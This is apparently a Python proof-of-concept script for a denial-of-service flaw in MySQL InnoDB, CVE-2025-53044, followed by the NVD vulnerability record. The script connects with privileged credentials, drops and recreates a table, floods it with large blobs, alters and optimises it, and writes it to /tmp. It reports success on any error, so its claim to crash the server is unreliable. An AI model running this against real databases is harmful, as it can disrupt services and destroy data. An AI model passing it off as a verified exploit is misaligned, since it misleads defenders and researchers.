CVE-2025-53044

# CVE-2025-53044 - Oracle MySQL InnoDB DoS PoC # This vulnerability requires high privileges to exploit # The PoC demonstrates connection and triggering InnoDB crash via crafted operations import mysql.connector import sys def exploit_mysql_innodb_dos(host, port, user, password, database): """ PoC for CVE-2025-53044 - Oracle MySQL InnoDB DoS Requires high-privileged MySQL user credentials """ try: # Connect to MySQL Server with high privileges conn = mysql.connector.connect( host=host, port=port, user=user, password=password, database=database ) cursor = conn.cursor() # Step 1: Create InnoDB table with specific configuration cursor.execute("DROP TABLE IF EXISTS exploit_table") cursor.execute(""" CREATE TABLE exploit_table ( id INT PRIMARY KEY AUTO_INCREMENT, data LONGBLOB, index_col VARCHAR(255) ) ENGINE=InnoDB """) # Step 2: Trigger InnoDB resource exhaustion # The specific operation triggers the vulnerability in InnoDB for i in range(1000): cursor.execute( "INSERT INTO exploit_table (data, index_col) VALUES (%s, %s)", (b'X' * 65536, 'trigger_crash_' + str(i)) ) # Step 3: Force InnoDB crash via malformed operations cursor.execute("ALTER TABLE exploit_table ENGINE=InnoDB ROW_FORMAT=COMPRESSED") cursor.execute("OPTIMIZE TABLE exploit_table") # Attempt to trigger the vulnerability cursor.execute("SELECT * FROM exploit_table INTO OUTFILE '/tmp/exploit_out'") conn.commit() except mysql.connector.Error as err: print(f"[+] Exploit triggered or error occurred: {err}") print("[+] Target MySQL Server may be in unstable state (DoS achieved)") finally: if 'conn' in locals() and conn.is_connected(): cursor.close() conn.close() if __name__ == "__main__": if len(sys.argv) != 6: print(f"Usage: {sys.argv[0]} <host> <port> <user> <password> <database>") sys.exit(1) exploit_mysql_innodb_dos(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], sys.argv[5])

{"cve": {"id": "CVE-2025-53044", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:41.653", "lastModified": "2025-10-23T16:07:30.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.0-8.0.43, 8.4.0-8.4.6 and 9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.0.43", "matchCriteriaId": "529028FC-6CB5-4885-A524-F26B8F81BD98"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0", "versionEndIncluding": "8.4.6", "matchCriteriaId": "7C415C1E-D09A-43DD-A1FB-8B0B9517FE42"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.4.0", "matchCriteriaId": "5FAEE4AC-4A0D-42A4-BF83-33288DD15BE1"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}